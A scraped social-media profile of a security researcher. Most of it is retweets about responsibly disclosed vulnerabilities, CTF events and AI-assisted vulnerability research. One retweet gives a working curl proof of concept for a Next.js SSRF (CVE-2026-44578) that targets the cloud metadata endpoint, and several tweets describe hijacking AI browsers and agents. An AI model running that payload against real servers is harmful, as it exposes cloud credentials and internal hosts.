I’m a security enthusiast and technology polyglot, pug lover and drum’n’bass head. Vice Cpt @justCatTheFish, Daily Pwning @ElectrovoltSec @cure53berlin
Łódź, Polska
Joined September 2009
- Tweets1K
- Following1.2K
- Followers4.2K
- Likes6.3K
Pinned Tweet
A while ago I created a challenge for #justCTF23 where players needed to blindly exfiltrate data from MongoDB. Here is my payload which triggers DNS resolution. As far as I know, this is a new technique when having SSRF to Mongo without the ability to read the response 😋🔥 #CTF
Maciej Piechota retweeted
Check out our security work on Next.js.
We’re also offering free security scans for open source projects. Apply here:
hacktron.ai/blog/hacktron-re…
Last week's Next.js stable release patches multiple vulnerabilities found by @HacktronAI
CVE-2026-44578: SSRF via WebSocket upgrade.
It is the most impactful of all, it lets an attacker read internal hosts such as cloud metadata endpoints on self-hosted next.js applications.
curl -H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
"http://target:3000" \
--request-target "http://169.254.169.254/latest/meta-data/"
Maciej Piechota retweeted
I've seen enough fundraising announcement videos. This isn’t one of them.
At @HacktronAI, we do security, and we do it well. That’s what matters to us. We solve real problems for our customers. On average, they uncover real vulnerabilities missed by other tools within 24 hours of onboarding.
Just this year, we've already responsibly disclosed vulnerabilities in Vercel's Next.js, Grafana, Jetbrain's YouTrack, OpenAM, Metabase, and BeyondTrust's Remote Support Software.
No unearned, bullshit hype. Just security that works.
Maciej Piechota retweeted
Introducing Hacktron Review: an AI security reviewer for your pull requests.
It understands your whole codebase, builds a threat model, takes your feedback, and catches exploitable vulnerabilities before they reach production.
Try for free: app.hacktron.ai
Maciej Piechota retweeted
I pointed claude opus at chrome and told it to build a full v8 exploit for discord.
A week of back-and-forth pulling it out of dead ends. 2.3B tokens. $2,283 in API costs, and it popped a shell.
hacktron.ai/blog/i-let-claud…
Maciej Piechota retweeted
Cloudflare built a Next.js replacement in a week with vibe-coding.
We vibe-hacked and found numerous vulnerabilities, multiple critical and high severity.
On Cloudflare Workers, one of the bugs leaks one user's session to another by default.
hacktron.ai/blog/hacking-clo…
Maciej Piechota retweeted
Part 4 of our Hacking AI Apps series.
This time we hacked Google's @antigravity
A vuln that let us write files to arbitrary location on the victim's system, leading to RCE just by visiting an attacker controlled website.
Hope you guys will like the blog 🙇♂️
Maciej Piechota retweeted
Part 3 of our Hacking AI Apps series.
This time we hacked OpenAI Atlas Browser: A vulnerability that let us control tabs, leak browsing activity, and hijack your Reddit/Facebook accounts by stealing OAuth tokens.
hacktron.ai/blog/hacking-ope…
Stay tuned for Part 4: Antigravity!
Maciej Piechota retweeted
We helped secure @perplexity_ai's comet browser from a critical vulnerability that could let attackers hijack the agent to exfiltrate local files, read emails, and bypass SOP.
Read the full blog: hacktron.ai/blog/perplexity-…
Maciej Piechota retweeted
With only 48 hours remaining in a bug bounty event, I used @HacktronAI CLI to perform large-scale analysis of several JDBC drivers. Netting $85,000 in total rewards.
This write-up shows how AI-assisted vulnerability research is speeding up the work of researchers and leading to high-impact findings.
Read here - hacktron.ai/blog/jdbc-audit-…
🤯
A case study of AI-accelerated hacking:
How we at @HacktronAI hacked our way into Lovable's office, cut attack time from weeks to days, and helped secure Supabase from one of the most complex vulnerability chains we’ve ever worked through.
Maciej Piechota retweeted
The future looks wild. We’re just getting started 🚀
Personally, I’m grateful to be building this with the greatest team @zeyu1337 @rootxharsh @LiveOverflow @haqpl, @ungrad_engineer, and @ElectrovoltSec team .
Read the full blog here: hacktron.ai/blog/introducing…
Maciej Piechota retweeted
🎯 JustCTF 2025 - 37h of top-tier online jeopardy CTF action!
🗓️ Starts Aug 2, 0600 UTC
💰 $8,628 prize pool + IDA Pro licenses + swag
Big thanks to our sponsors!
@trailofbits @osec_io @HexRaysSA @zellic_io
2025.justctf.team | discord.gg/BZqZ7zqC6T
#CTF #CyberSecurity
Hey, @grok, who was the most famous person to visit my profile? It doesn't need to be a mutual, don't tag them, just say who it was
Maciej Piechota retweeted
Apple once ran this software. Multiple security firms poked at it. No one spotted the bug.
Here's a thread of how we found CVE-2025-5086 in Delmia Apriso... 👇🧵
Next time use @HacktronAI 🤓
Maciej Piechota retweeted
Doing audits with @HacktronAI has been such a breeze. As a human auditor, I wouldn't have been able to handle more than one engagement a week.
But with Hacktron: run the agent, make coffee, grab takeout from the cafeteria, and come back to address the 5 reported issues. Triage and confirm them with a PoC, write the report, rerun the agent with new insights, repeat.
This is the cursor/windsurf experience for pentesting.
Maciej Piechota retweeted
At @HacktronAI, we don’t just build AI that hacks, we hack the AIs too.
Yay, I was awarded a $10,000 bounty.
